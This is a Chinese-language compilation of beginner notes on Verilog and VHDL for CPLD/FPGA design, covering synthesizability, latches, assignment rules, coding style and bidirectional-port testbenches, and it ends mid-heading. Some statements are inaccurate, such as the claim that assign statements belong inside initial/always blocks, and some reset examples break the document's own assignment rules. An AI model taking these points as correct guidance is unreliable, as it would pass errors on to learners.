当前位置:文档之家› CPLD FPGA设计菜鸟必看

CPLD FPGA设计菜鸟必看

CPLD FPGA设计菜鸟必看
CPLD FPGA设计菜鸟必看

所谓综合,就是把描述语言转化成能硬件实现的电路,学verilog的时候,没有人给我说要不要考虑能否综合的问题~~~

看了5本书,居然没有一本书讲到能否综合,所以设计出来的程序完全不能用~~~

而且,书中都是讲语句的具体使用办法,例如always@(),但是什么时候用always,几个always之间、时序电路、逻辑电路、任务与函数什么时候用,却没有一本书能讲清楚。

这个笔记详细写了这些思路的问题,分享给新手看看,学习一种思路~~

先记下来:

1、不使用初始化语句;

2、不使用延时语句;

3、不使用循环次数不确定的语句,如:forever,while等;

4、尽量采用同步方式设计电路;

5、尽量采用行为语句完成设计;

6、always过程块描述组合逻辑,应在敏感信号表中列出所有的输入信号;

7、所有的内部寄存器都应该可以被复位;

8、用户自定义原件(UDP元件)是不能被综合的。

一:基本

Verilog中的变量有线网类型和寄存器类型。线网型变量综合成wire,而寄存器可能综合成WIRE,锁存器和触发器,还有可能被优化掉。

二:verilog语句结构到门级的映射

1、连续性赋值:assign

连续性赋值语句逻辑结构上就是将等式右边的驱动左边的结点。因此连续性赋值的目标结点总是综合成由组合逻辑驱动的结点。Assign语句中的延时综合时都将忽视。

2、过程性赋值:

过程性赋值只出现在always语句中。

阻塞赋值和非阻塞赋值就该赋值本身是没有区别的,只是对后面的语句有不同的影响。

建议设计组合逻辑电路时用阻塞赋值,设计时序电路时用非阻塞赋值。

过程性赋值的赋值对象有可能综合成wire,latch,和flip-flop,取决于具体状况。如,时钟控制下的非阻塞赋值综合成flip-flop。

过程性赋值语句中的任何延时在综合时都将忽略。

建议同一个变量单一地使用阻塞或者非阻塞赋值。

3、逻辑操作符:

逻辑操作符对应于硬件中已有的逻辑门,一些操作符不能被综合:===、!==。

4、算术操作符:

Verilog中将reg视为无符号数,而integer视为有符号数。因此,进行有符号操作时使用integer,使用无符号操作时使用reg。

5、进位:

通常会将进行运算操作的结果比原操作数扩展一位,用来存放进位或者借位。如:

Wire[3:0]A,B;

Wire[4:0]C;

Assign C=A+B;

C的最高位用来存放进位。

6、关系运算符:

关系运算符:<,>,<=,>=

和算术操作符一样,可以进行有符号和无符号运算,取决于数据类型是reg,net还是integer。

7、相等运算符:==,!=

注意:===和!==是不可综合的。

可以进行有符号或无符号操作,取决于数据类型

8、移位运算符:

左移,右移,右边操作数可以是常数或者是变量,二者综合出来的结果不同。

9、部分选择:

部分选择索引必须是常量。

10、BIT选择:

BIT选择中的索引可以用变量,这样将综合成多路(复用)器。

11、敏感表:Always过程中,所有被读取的数据,即等号右边的变量都要应放在敏感表中,不然,综合时不能正确地映射到所用的门。

12、IF:

如果变量没有在IF语句的每个分支中进行赋值,将会产生latch。如果IF语句中产生了latch,则IF的条件中最好不要用到算术操作。Case语句类似。Case的条款可以是变量。

如果一个变量在同一个IF条件分支中先赎值然后读取,则不会产生latch。如果先读取,后赎值,则会产生latch。

13、循环:

只有for-loop语句是可以综合的。

14、设计时序电路时,建议变量在always语句中赋值,而在该always语句外使用,使综合时能准确地匹配。建议不要使用局部变量。

15、不能在多个always块中对同一个变量赎值

16、函数

函数代表一个组合逻辑,所有内部定义的变量都是临时的,这些变量综合后为wire。

17、任务:

任务可能是组合逻辑或者时序逻辑,取决于何种情况下调用任务。

18、Z:

Z会综合成一个三态门,必须在条件语句中赋值

19、参数化设计:

优点:参数可重载,不需要多次定义模块

四:模块优化

1、资源共享:

当进程涉及到共用ALU时,要考虑资源分配问题。可以共享的操作符主要有:关系操作符、加减乘除操作符。通常乘和加不共用ALU,乘除通常在其内部共用。

2、共用表达式:

如:C=A+B;

D=G+(A+B);

两者虽然有共用的A+B,但是有些综合工具不能识别.可以将第二句改为:D=G+C;这样只需两个加法器.

3、转移代码:

如循环语句中没有发生变化的语句移出循环.

4、避免latch:

两种方法:1、在每一个IF分支中对变量赋值。2、在每一个IF语句中都对变量赋初值。

5:模块:

综合生成的存储器如ROM或RAM不是一种好方法,只是成堆的寄存器,很费资源。最好用库自带的存储器模块。

五、验证:

1、敏感表:

在always语句中,如果敏感表不含时钟,最好将所有的被读取的信号都放在敏感表中。

2、异步复位:

建议不要在异步时对变量读取,即异步复位时,对信号赋以常数值。

Averilog的流行,有两方面的原因;

B verilog与VHDL相比的优点

C典型的verilog模块

D verilog语法要点

A)verilog的流行,有两方面的原因:

1它是cadence的模拟器verilog-XL的基础,cadence的广泛流行使得verilog在90年代深入人心;

2它在硅谷获得广泛使用;

B)verilog与VHDL相比的优点二者的关系仿佛C与FORTRAN,具体而言:

1verilog的代码效率更高:

比较明显的对比:

VHDL在描述一个实体时采用entity/architecture模式,

verilog在描述一个实体时只需用一个"module/edumodule"语句块.

此外verilog的高效性还在很多地方体现出来;

2verilog支持二进制的加减运算:

VHDL在进行二进制的加减运算时使用conv_***函数或者进行其他的定义,总之必须通知编译器;verilog直接用形如"c=a+b"的表示二进制的加减运算;

3综合时可控制性好:

VHDL对信号不加区分地定义为"signal",

而verilog区分为register类型的和wire类型的;

但是也有人支持VHDL,认为verilog和VHDL的关系仿佛C和C++.C)典型的verilog模块

讨论以下典型电路的verilog描述:

*与非门;

*加法器;//即全加器

*D触发器;

*计数器;//**分频的counter

*latch;

*时序机;

*RAM;//用synopsys的

*模块引用;

*预编译;

*与非门的verilog描述如下:

//verilog使用和C语言相同的注释方法

module nd02(a1,a2,zn);//一个verilog模块总是以module开始,以endmodule结束,nd02是模块名,a1,a2,zn是模块的3个输入输出信号

input a1,a2;//告诉编译器a1,a2对此模块而言是输入,并且数据类型是"bit"

output zn;//告诉编译器zn对此模块而言是输出,数据类型也是"bit"

nand(zn,a1,a2);//我理解nand是运算符,我们不必深究verilog中的正式术语是什

么了吧,总之这种形式表示zn=~(a1&&a2);你一定已经想到类似的运算符还有"not","and","or","nor","xor"了吧;除了"not",括号里的信号数可以任意,例如or(z,f,g,h)表示z=f||g||h,并且延时是3个单位时间,#x表示延时x个单位时间;

endmodule

*加法器的verilog描述如下:

module ad03d1(A,B,CI,S,CO);

input[2:0]A,B;//表示A,B是输入信号,并且是3位矢量,上界是2,下界是0

input CI;

output[2:0]S;

output CO;

assign{CO,S}=A+B+CI;//一对"{"和"}"表示链接,即将CO和S合并成4位矢量

endmodule

*带异步清零端的D触发器的verilog描述如下:

module dfctnb(d,cp,cdn,q,qn);

input d,cp,cdn;

output q,qn;

reg q,qn;//关键字"reg"表示q和qn是"register"类型的信号;verilog中有两种类型的信号:"register"类型和"wire"类型.你可以简单地把register类型的信号想象为某个D触发器的输出,而wire类型的的信号是组合逻辑的输出.二者的最大区别在于:你可以对register类型的信号进行定时赋值(用wait语句在特定时刻的赋值,详见下面always语句),而对于wire类型的信号则不可.

always wait(cdn==0)//表示每当cdn=0时,将要对D触发器清零,"always"和"wait"嵌套,"wait"和"@"是verilog 的两个关键字,表示一旦有某事发生;则执行下面的语句块,"always"有点象C语言中的"if...then...","wait"和"@"的区别:请参考本模块.wait表示本语句块的进程停止,直到"cdn=0"的条件出现才继续;我理解在verilog 中,每个最外层语句块都是一个***的进程;"@"(请看下个always语句)也表示本语句块的进程停止,直到后面定义"posedge cp"(即出现cp的上升沿)的事件出现才继续;也许wait和@可以合二为一吧,但至少到目前verilog中wait表示"条件",@表示"事件";具体运用中,wait总是用于类似"wait(xxx=1)"之类的场合,@总是用于类似"@(xxx)"或"@(posedge/negedge xxx)"之类的场合整句话的意思是"每当cdn等于0时,则作以下事情" begin//begin...end结构的用法类似于pascal语言

q=0;

qn=1;

wait(cdn==1);

end

always@(posedge cp)//"@(posedge cp)"中有两个关键字:"@(x)"表示"每当事件x发

生","posedge x"表示"x的上升沿,"negedge x"表示"x的下降沿",整句话的意思是"每当cp的上升沿,则作以下事情"

if(cdn)//如果cdn=1(意味着清零端无效)

begin

q=d;

qn=~q;//"~"表示反相

end

endmodule

*计数器的verilog描述如下:

module count(in,set,cp,out);//此计数器,在cp的上升沿将输入赋给输出,在cp的上升沿使输出加一input[15:0]in;

input set,cp;

output[15:0]out;

reg[15:0]out;

always@(posedge set)

out=in;

always@(posedge cp)

out=out+1;//verilog容许一个信号同时出现在等号两端,只要它是reg类型的

endmodule

*latch的描述如下:

always@(clk or d)

if(clk)q=d;

*时序机的verilog描述如下:

always@(posedge CLK)//D是下一个状态,Q是当前状态,e1,e2是输入,a,b是输出

Q=D;

always@(Q or othercase)begin//当Q变化或输入e1,e2变化时D要相应变化

D=Q;//note1

a=0;

b=0;

......

case(Q)

q1:begin

q1action;

if(e1)D=d1;

if(e2)D=d2;

else D=d3;

a=1;//note2

end

q2:begin

b=1;

......

end

default:begin

a=0;

b=0;

......

end

end

---annotations---

note1:

This is a custom expression,after reset,D should be equal to Q;

note2:

In this state machine,a is only equal to1at state q1,in

other state,a is equal to0;

*RAM的verilog描述如下:

module ram(din,ain,dout,aout,rd,wr);//这是一个双口RAM,分别有:输入端:输入地址ain;输入数据din;上升沿有效的写信号wr;/输出端:输出地址aout;输出数据dout;高电平有效的读信号rd;

inout[7:0]din;

input[7:0]ain,aout;

input rd,wr;

output[7:0]dout;

reg[7:0]memory[0:255];//请注意这是存储阵列的描述方法,描述了一个共有2

56个字的存储阵列,每个字是8位

assign dout=rd?memory[aout]:8'bz;//"assign"关键字表示并行赋值语句的

开始"?"运算符的作用和在C语言中一样"8'bz"是一个常量,表示一个字节的高阻态,其中8表示长度是8bit,"'"是固定分割符,"b"表示后面的数据是以比特形式给出的,"z"表示高阻;举例:4'ha表示长4bit的数"1010"。类似的还可举出5'b10111,6'o33等等

always@(posedge wr)

memory[ain]=din;

endmodule

*模块引用

假设在前面(可以是别的模块)定义了module ram(din,ain,dout,aout,rd,wr),则引用此

模块时只需写

ram myram(din_in_map,ain_in_map,dout_in_map,aout_in_map,rd_in_map,wr_in_map)

;

//其中"ram"是所引用的module名,"myram"是你起的instance名,"din_in_map"等等是图中的节点名,和器件(module)中的"din..."进行"虚实结合";

*预编译

类似C语言,只需写

`include"",反上撇号"`"是verilog的预编译符,类似C中的"#".

D)verilog语法要点

*基本原则

设计时应该把你的系统划分为计数器,触发器,时序机,组合逻辑等等可综合的单元,对此不同的IC公司和EDA开发商可能根据自己的见解和经验提出不同的要求,并且对verilog程序的细节进行自己的规定,但有一点是对的:即写硬件描述语言不象写C语言那样符合语法就行.单单符合verilog语法的程序可能被拒绝综合,甚至被拒绝模拟;

*最外层可以写什么?

这里所说的最外层是指module语句后的第一层,在这一层可以写这些可执行语句:

assign和nand等定义组合逻辑的语句,

always语句,

模块引用语句,

一些以"$"开头的系统定义语句.

特别注意不可以写if语句.if语句只能放在always内部.

不推荐写wait语句,因为不能综合.

*不可以在多个always语句中对一个信号赋值.

1.强烈建议用同步设计

2.在设计时总是记住时序问题

3.在一个设计开始就要考虑到地电平或高电平复位、同步或异步复位、上升沿或下降沿触发等问题,在所有模块中都要遵守它

4.在不同的情况下用if和case,最好少用if的多层嵌套(1层或2层比较合适,当在3层以上时,最好修改写法,因为这样不仅可以reduce area,而且可以获得好的timing)

5.在锁存一个信号或总线时要小心,对于整个design,尽量避免使用latch,因为在DFT时很难test。

6.确信所有的信号被复位,在DFT时,所有的FlipFlop都是controllable,

7.永远不要再写入之前读取任何内部存储器(如SRAM)

8.从一个时钟到另一个不同的时钟传输数据时用数据缓冲,他工作像一个双时钟FIFO(是异步的),可以用Async SRAM搭建Async FIFO。

9.在VHDL中二维数组可以使用,它是非常有用的。在VERILOG中他仅仅可以使用在测试模块中,不能被综合

10.遵守register-in register-out规则

11.像synopsys的DC的综合工具是非常稳定的,任何bugs都不会从综合工具中产生

12.确保FPGA版本与ASIC的版本尽可能的相似,特别是SRAM类型,若版本一致是最理想的,但是在工作中FPGA版本一般用FPGA自带的SRAM,ASIC版本一般用厂商提供的SRAM。

13.在嵌入式存储器中使用BIST

14.虚单元和一些修正电路是必需的

15.一些简单的测试电路也是需要的,经常在一个芯片中有许多测试模块

16.除非低功耗不要用门控时钟,强烈建议不要在design中使用gate clock

17.不要依靠脚本来保证设计。但是在脚本中的一些好的约束能够起到更好的性能(例如前向加法器)

18.如果时间充裕,通过时钟做一个多锁存器来取代用MUX

19.不要用内部tri-state,ASIC需要总线保持器来处理内部tri-state,如IO cell。

20.在top level中作pad insertion

21.选择pad时要小心(如上拉能力,施密特触发器,5伏耐压等),选择合适的IO cell

22.小心由时钟偏差引起的问题

23.不要试着产生半周期信号

24.如果有很多函数要修正,请一个一个地作,修正一个函数检查一个函数

25.在一个计算等式中排列每个信号的位数是一个好习惯,即使综合工具能做

26.不要使用HDL提供的除法器

27.削减不必要的时钟。它会在设计和布局中引起很多麻烦,大多数FPGA有1-4个专门的时钟通道

良好代码编写风格可以满足信、达、雅的要求。在满足功能和性能目标的前提下,增强代码的可读性、可移植性,首要的工作是在项目开发之前为整个设计团队建立一个命名约定和缩略语清单,以文档的形式记录下来,并要求每位设计人员在代码编写过程中都要严格遵守。良好代码编写风格的通则概括如下:(1)对所有的信号名、变量名和端口名都用小写,这样做是为了和业界的习惯保持一致;对常量名和用

户定义的类型用大写;

(2)使用有意义的信号名、端口名、函数名和参数名;

(3)信号名长度不要太长;

(4)对于时钟信号使用clk作为信号名,如果设计中存在多个时钟,使用clk作为时钟信号的前缀;(5)对来自同一驱动源的信号在不同的子模块中采用相同的名字,这要求在芯片总体设计时就定义好顶层子模块间连线的名字,端口和连接端口的信号尽可能采用相同的名字;

(6)对于低电平有效的信号,应该以一个下划线跟一个小写字母b或n表示。注意在同一个设计中要使用同一个小写字母表示低电平有效;

(7)对于复位信号使用rst作为信号名,如果复位信号是低电平有效,建议使用rst_n;

(8)当描述多比特总线时,使用一致的定义顺序,对于verilog建议采用bus_signal[x:0]的表示;

(9)尽量遵循业界已经习惯的一些约定。如*_r表示寄存器输出,*_a表示异步信号,*_pn表示多周期路径第n个周期使用的信号,*_nxt表示锁存前的信号,*_z表示三态信号等;

(10)在源文件、批处理文件的开始应该包含一个文件头、文件头一般包含的内容如下例所示:文件名,作者,模块的实现功能概述和关键特性描述,文件创建和修改的记录,包括修改时间,修改的内容等;(11)使用适当的注释来解释所有的always进程、函数、端口定义、信号含义、变量含义或信号组、变量组的意义等。注释应该放在它所注释的代码附近,要求简明扼要,只要足够说明设计意图即可,避免过于复杂;

(12)每一行语句独立成行。尽管VHDL和Verilog都允许一行可以写多个语句,当时每个语句独立成行可以增加可读性和可维护性。同时保持每行小于或等于72个字符,这样做都是为了提高代码得可读性;(13)建议采用缩进提高续行和嵌套语句得可读性。缩进一般采用两个空格,如西安交通大学SOC设计中心2如果空格太多则在深层嵌套时限制行长。同时缩进避免使用TAB键,这样可以避免不同机器TAB键得设置不同限制代码得可移植能力;

(14)在RTL源码的设计中任何元素包括端口、信号、变量、函数、任务、模块等的命名都不能取Verilog和VHDL语言的关键字;

(15)在进行模块的端口申明时,每行只申明一个端口,并建议采用以下顺序:

输入信号的clk、rst、enables other control signals、data and address signals。然后再申明输出信号的clk、rst、enalbes other control signals、data signals;

(16)在例化模块时,使用名字相关的显式映射而不要采用位置相关的映射,这样可以提高代码的可读性和方便debug连线错误;

(17)如果同一段代码需要重复多次,尽可能使用函数,如果有可能,可以将函数通用化,以使得它可以复用。注意,内部函数的定义一般要添加注释,这样可以提高代码的可读性;

(18)尽可能使用循环语句和寄存器组来提高源代码的可读性,这样可以有效地减少代码行数;

(19)对一些重要的always语句块定义一个有意义的标号,这样有助于调试。注意标号名不要与信号名、变量名重复;

(20)代码编写时的数据类型只使用IEEE定义的标准类型,在VHDL语言中,设计者可以定义新的类型和子类型,但是所有这些都必须基于IEEE的标准;

(21)在设计中不要直接使用数字,作为例外,可以使用0和1。建议采用参数定义代替直接的数字。同时,在定义常量时,如果一个常量依赖于另一个常量,建议在定义该常量时用表达式表示出这种关系;(22)不要在源代码中使用嵌入式的dc_shell综合命令。这是因为其他的综合工具并不认得这些隐含命令,从而导致错误的或较差的综合结果。即使使用Design Compiler,当综合策略改变时,嵌入式的综合命令也不如放到批处理综合文件中易于维护。这个规则有一个例外的综合命令,即编译开关的打开和关闭可以嵌入到代码中;

(23)在设计中避免实例化具体的门级电路。门级电路可读性差,且难于理解和维护,如果使用特定工艺的门电路,设计将变得不可移植。如果必须实例化门电路,我们建议采用独立于工艺库的门电路,如

SYNOPSYS公司提供的GTECH库包含了高质量的常用的门级电路;

(24)避免冗长的逻辑和子表达式;

(25)避免采用内部三态电路,建议用多路选择电路代替内部三态电路。

规则#1:建立时序逻辑模型时,采用非阻塞赋值语句。

规则#2:建立latch模型时,采用非阻塞赋值语句。

规则#3:在always块中建立组合逻辑模型时,采用阻塞赋值语句。

规则#4:在一个always块中同时有组合和时序逻辑时时,采用非阻塞赋值语句。

规则#5:不要在一个always块中同时采用阻塞和非阻塞赋值语句。

规则#6:同一个变量不要在多个always块中赋值。

规则#7:调用$strobe系统函数显示用非阻塞赋值语句赋的值。

规则#8:不要使用#0延时赋值。

组合逻辑

1,敏感变量的描述完备性

Verilog中,用always块设计组合逻辑电路时,在赋值表达式右端参与赋值的所有信号都必须在always@(敏感电平列表)中列出,always中if语句的判断表达式必须在敏感电平列表中列出。如果在赋值表达式右端引用了敏感电平列表中没有列出的信号,在综合时将会为没有列出的信号隐含地产生一个透明锁存器。这是因为该信号的变化不会立刻引起所赋值的变化,而必须等到敏感电平列表中的某一个信号变化时,它的作用才表现出来,即相当于存在一个透明锁存器,把该信号的变化暂存起来,待敏感电平列表中的某一个

信号变化时再起作用,纯组合逻辑电路不可能作到这一点。综合器会发出警告。

Example1:

input a,b,c;

reg e,d;

always@(a or b or c)

begin

e=d&a&b;/*d没有在敏感电平列表中,d变化时e不会立刻变化,直到a,b,c中某一个变化*/

d=e|c;

end

Example2:

input a,b,c;

reg e,d;

always@(a or b or c or d)

begin

e=d&a&b;/*d在敏感电平列表中,d变化时e立刻变化*/

d=e|c;

end

2,条件的描述完备性

如果if语句和case语句的条件描述不完备,也会造成不必要的锁存器。

Example1:

if(a==1'b1)q=1'b1;//如果a==1'b0,q=?q将保持原值不变,生成锁存器!

Example2:

if(a==1'b1)q=1'b1;

else q=1'b0;//q有明确的值。不会生成锁存器!

Example3:

reg[1:0]a,q;

....

case(a)

2'b00:q=2'b00;

2'b01:q=2'b11;//如果a==2'b10或a==2'b11,q=?q将保持原值不变,锁存器!endcase

Example4:

reg[1:0]a,q;

....

case(a)

2'b00:q=2'b00;

2'b01:q=2'b11;

default:q=2'b00;//q有明确的值。不会生成锁存器!

endcase

Verilog中端口的描述

1,端口的位宽最好定义在I/O说明中,不要放在数据类型定义中;

Example1:

module test(addr,read,write,datain,dataout)

input[7:0]datain;

input[15:0]addr;

input read,write;

output[7:0]dataout;//要这样定义端口的位宽!

wire addr,read,write,datain;

reg dataout;

Example2:

module test(addr,read,write,datain,dataout)

input datain,addr,read,write;

output dataout;

wire[15:0]addr;

wire[7:0]datain;

wire read,write;

reg[7:0]dataout;//不要这样定义端口的位宽!!

2,端口的I/O与数据类型的关系:

端口的I/O端口的数据类型

module内部module外部

input wire wire或reg

output wire或reg wire

inout wire wire

3,assign语句的左端变量必须是wire;直接用"="给变量赋值时左端变量必须是reg!Example:

assign a=b;//a必须被定义为wire!!

********

begin

a=b;//a必须被定义为reg!

end

VHDL中STD_LOGIC_VECTOR和INTEGER的区别

例如A是INTEGER型,范围从0到255;B是STD_LOGIC_VECTOR,定义为8位。A累加到255时,再加1就一直保持255不变,不会自动反转到0,除非令其为0;而B累加到255时,再加1就会自动反转到0。所以在使用时要特别注意!

以触发器为例说明描述的规范性

1,无置位/清零的时序逻辑

always@(posedge CLK)

begin

Q<=D;

end

2,有异步置位/清零的时序逻辑

异步置位/清零是与时钟无关的,当异步置位/清零信号到来时,触发器的输出立即被置为1或0,不需要等到时钟沿到来才置位/清零。所以,必须要把置位/清零信号列入always块的事件控制表达式。always@(posedge CLK or negedge RESET)

begin

if(!RESET)

Q=0;

else

Q<=D;

end

3,有同步置位/清零的时序逻辑

同步置位/清零是指只有在时钟的有效跳变时刻置位/清零,才能使触发器的输出分别转换为1或0。所以,不要把置位/清零信号列入always块的事件控制表达式。但是必须在always块中首先检查置位/清零信号的电平。

always@(posedge CLK)

begin

if(!RESET)

Q=0;

else

Q<=D;

end

结构规范性

在整个芯片设计项目中,行为设计和结构设计的编码是最重要的一个步骤。它对逻辑综合和布线结果、时序测定、校验能力、测试能力甚至产品支持都有重要的影响。考虑到仿真器和真实的逻辑电路之间的差异,为了有效的

进行仿真测试:

1,避免使用内部生成的时钟

内部生成的时钟称为门生时钟(gated clock)。如果外部输入时钟和门生时钟同时驱动,则不可避免的两者的步调不一致,造成逻辑混乱。而且,门生时钟将会增加测试的难度和时间。

2,绝对避免使用内部生成的异步置位/清零信号

内部生成的置位/清零信号会引起测试问题。使某些输出信号被置位或清零,无法正常测试。

3,避免使用锁存器

锁存器可能引起测试问题。对于测试向量自动生成(ATPG),为了使扫描进行,锁存器需要置为透明

模式(transparent mode),反过来,测试锁存器需要构造特定的向量,这可非同一般。

4,时序过程要有明确的复位值

使触发器带有复位端,在制造测试、ATPG以及模拟初始化时,可以对整个电路进行快速复位。

5,避免模块内的三态/双向

内部三态信号在制造测试和逻辑综合过程中难于处理.

近日读J.Bhasker的,受益匪浅,理清了不少基础电路知识,记下一些tips:

1.过程赋值(always中触发赋值)的变量,可能会被综合成连线或触发器或锁存器.

2.综合成锁存器的规则:

a.变量在条件语句(if或case)中,被赋值.

b.变量未在条件语句的所有分支中被赋值.

c.在always语句多次调用之间需要保持变量值.

以上三个条件必须同时满足.

3.综合成触发器的规则:

变量在时钟沿的控制下被赋值。

例外情况:变量的赋值和引用都仅出现在一条always语句中,则该变量被视为中

间变量而不是触发器。

4.对于无时钟事情的always语句(即组合逻辑建模),其时间表应包括该alwa语

句引用的所有变量,否则会出现RTL与Netlist的不一致

芯片外部引脚很多都使用inout类型的,为的是节省管腿。一般信号线用做总线等双向数据传输的时候就要用到INOUT类型了。就是一个端口同时做输入和输出。inout在具体实现上一般用三态门来实现。三态门的第三个状态就是高阻'Z'。当inout端口不输出时,将三态门置高阻。这样信号就不会因为两端同时输出而出错了,更详细的内容可以搜索一下三态门tri-state的资料.

1使用inout类型数据,可以用如下写法:

inout data_inout;

input data_in;

reg data_reg;//data_inout的映象寄存器

reg link_data;

assign data_inout=link_data?data_reg:1’bz;//link_data控制三态门

//对于data_reg,可以通过组合逻辑或者时序逻辑根据data_in对其赋值.通过控制link_data的高低电平,从而设置data_inout是输出数据还是处于高阻态,如果处于高阻态,则此时当作输入端口使用.link_data可以通过相关电路来控制.

2编写测试模块时,对于inout类型的端口,需要定义成wire类型变量,而其它输入端口都定义成reg类型,这两者是有区别的.

当上面例子中的data_inout用作输入时,需要赋值给data_inout,其余情况可以断开.此时可以用assign语句实现:assign data_inout=link?data_in_t:1’bz;其中的link,data_in_t是reg类型变量,在测试模块中赋值.

另外,可以设置一个输出端口观察data_inout用作输出的情况:

Wire data_out;

Assign data_out_t=(!link)?data_inout:1’bz;

else,in RTL

inout use in top module(PAD)

dont use inout(tri)in sub module

也就是说,在内部模块最好不要出现inout,如果确实需要,那么用两个port实现,到顶层的时候再用三态实现。理由是:在非顶层模块用双向口的话,该双向口必然有它的上层跟它相连。既然是双向口,则上层

至少有一个输入口和一个输出口联到该双向口上,则发生两个内部输出单元连接到一起的情况出现,这样在综合时往往会出错。

对双向口,我们可以将其理解为2个分量:一个输入分量,一个输出分量。另外还需要一个控制信号控制输出分量何时输出。此时,我们就可以很容易地对双向端口建模。

例子:

CODE:

module dual_port(

....

inout_pin,

....

);

inout inout_pin;

wire inout_pin;

wire input_of_inout;

wire output_of_inout;

wire out_en;

assign input_of_inout=inout_pin;

assign inout_pin=out_en?output_of_inout:高阻;

endmodule

可见,此时input_of_inout和output_of_inout就可以当作普通信号使用了。

在仿真的时候,需要注意双向口的处理。如果是直接与另外一个模块的双向口连接,那么只要保证一个模块在输出的时候,另外一个模块没有输出(处于高阻态)就可以了。

如果是在ModelSim中作为单独的模块仿真,那么在模块输出的时候,不能使用force命令将其设为高阻态,而是使用release命令将总线释放掉

很多初学者在写testbench进行仿真和验证的时候,被inout双向口难住了。仿真器老是提示错误不能进行。下面是我个人对inout端口写testbench仿真的一些总结,并举例进行说明。在这里先要说明一下inout口在testbench中要定义为wire型变量。

先假设有一源代码为:

module xx(data_inout,........);

inout data_inout;

........................

assign data_inout=(!link)?datareg:1'bz;

endmodule

方法一:使用相反控制信号inout口,等于两个模块之间用inout双向口互连。这种方法要注意assign语句只能放在initial和always块内。

module test();

wire data_inout;

reg data_reg;

reg link;

initial begin

..........

end

assign data_inout=link?data_reg:1'bz;

endmodule

方法二:使用force和release语句,但这种方法不能准确反映双向端口的信号变化,但这种方法可以反在块内。

module test();

wire data_inout;

reg data_reg;

reg link;

#xx;//延时

force data_inout=1'bx;//强制作为输入端口

...............

#xx;

release data_inout;//释放输入端口

endmodule

很多读者反映仿真双向端口的时候遇到困难,这里介绍一下双向端口的仿真方法。一个典型的双向端口如图1所示。

其中inner_port与芯片内部其他逻辑相连,outer_port为芯片外部管脚,out_en用于控制双向端口的方向,out_en为1时,端口为输出方向,out_en为0时,端口为输入方向。

用Verilog语言描述如下:

module bidirection_io(inner_port,out_en,outer_port);

input out_en;

inout[7:0]inner_port;

inout[7:0]outer_port;

assign outer_port=(out_en==1)?inner_port:8'hzz;

assign inner_port=(out_en==0)?outer_port:8'hzz;

endmodule

用VHDL语言描述双向端口如下:

library ieee;

use IEEE.STD_LOGIC_1164.ALL;

entity bidirection_io is

port(inner_port:inout std_logic_vector(7downto0);

out_en:in std_logic;

outer_port:inout std_logic_vector(7downto0));

end bidirection_io;

architecture behavioral of bidirection_io is

begin

outer_port<=inner_port when out_en='1'else(OTHERS=>'Z');

inner_port<=outer_port when out_en='0'else(OTHERS=>'Z');

end behavioral;

仿真时需要验证双向端口能正确输出数据,以及正确读入数据,因此需要驱动out_en端口,当out_en端口为1时,testbench驱动inner_port端口,然后检查outer_port端口输出的数据是否正确;当out_en端口为0时,testbench驱动outer_port端口,然后检查inner_port端口读入的数据是否正确。由于inner_port和outer_port

端口都是双向端口(在VHDL和Verilog语言中都用inout定义),因此驱动方法与单向端口有所不同。

验证该双向端口的testbench结构如图2所示。

这是一个self-checking testbench,可以自动检查仿真结果是否正确,并在Modelsim控制台上打印出提示信息。图中Monitor完成信号采样、结果自动比较的功能。

testbench的工作过程为

1)out_en=1时,双向端口处于输出状态,testbench给inner_port_tb_reg信号赋值,然后读取outer_port_tb_wire 的值,如果两者一致,双向端口工作正常。

2)out_en=0时,双向端口处于输如状态,testbench给outer_port_tb_reg信号赋值,然后读取inner_port_tb_wire 的值,如果两者一致,双向端口工作正常。

用Verilog代码编写的testbench如下,其中使用了自动结果比较,随机化激励产生等技术。

`timescale1ns/10ps

module tb();

reg[7:0]inner_port_tb_reg;

wire[7:0]inner_port_tb_wire;

reg[7:0]outer_port_tb_reg;

wire[7:0]outer_port_tb_wire;

reg out_en_tb;

integer i;

initial

begin

out_en_tb=0;

inner_port_tb_reg=0;

outer_port_tb_reg=0;

i=0;

repeat(20)

begin

#50

i=$random;

out_en_tb=i[0];//randomize out_en_tb

inner_port_tb_reg=$random;//randomize data

outer_port_tb_reg=$random;

end

end

//****drive the ports connecting to bidirction_io

assign inner_port_tb_wire=(out_en_tb==1)?inner_port_tb_reg:8'hzz;

assign outer_port_tb_wire=(out_en_tb==0)?outer_port_tb_reg:8'hzz;

//instatiate the bidirction_io module

bidirection_io bidirection_io_inst(.inner_port(inner_port_tb_wire),

.out_en(out_en_tb),

.outer_port(outer_port_tb_wire));

//*****monitor******

always@(out_en_tb,inner_port_tb_wire,outer_port_tb_wire)

begin

#1;

if(outer_port_tb_wire===inner_port_tb_wire)

begin

$display("\n****time=%t****",$time);

$display("OK!out_en=%d",out_en_tb);

$display("OK!outer_port_tb_wire=%d,inner_port_tb_wire=%d",

outer_port_tb_wire,inner_port_tb_wire);

end

else

begin

$display("\n****time=%t****",$time);

$display("ERROR!out_en=%d",out_en_tb);

$display("ERROR!outer_port_tb_wire!=inner_port_tb_wire");

$display("ERROR!outer_port_tb_wire=%d,inner_port_tb_wire=%d",

outer_port_tb_wire,inner_port_tb_wire);

end

end

endmodule

今天重新回顾了一下阻塞赋值和非阻塞赋值的概念,感觉又有所收获。

一、特点:

阻塞赋值:1、RHS的表达式计算和LHS的赋值更新,这两个动作之间不能插入其他动作,即所谓计算完毕,立即更新。

2、所谓阻塞就是指在一个“begin...end”块中的多个阻塞赋值语句内,只有上一句完全执行完毕后,才会执行下一语句,否则阻塞程序的执行。

非阻塞赋值:RHS的表达式计算和LHS的赋值更新分两个节拍执行,首先,应该是RHS的表达式计算,得到新值后并不立即赋值,而是放在事件队列中等待,直到

当前仿真时刻的后期才执行(原因下文会提到)。

二、Verilog的分层事件队列:

在Verilog中,事件队列可以划分为5个不同的区域,不同的事件根据规定放在不同的区域内,按照优先级的高低决定执行的先后顺序,下表就列出了部分Verilog分层事件队列。其中,活跃事件的优先级最高(最先执行),而监控事件的优先级最低,而且在活跃事件中的各事件的执行顺序是随机的(注:为方便起见,在一般的仿真器中,对同一区域的不同事件是按照调度的先后关系执行的)。

当前仿真

时间事件

活跃事件阻塞赋值,非阻塞赋值的RHS计算……

非活跃事件

显式0延时的阻塞赋值……

非阻塞赋值更新事件

由非阻塞语句产生的一个非阻塞赋值更新事件,并被调入当前仿真时刻。

监控事件

$monitor和$strobe等系统任务

将来仿真

时间事件被调度到将来仿真时间的事件

三、结论:

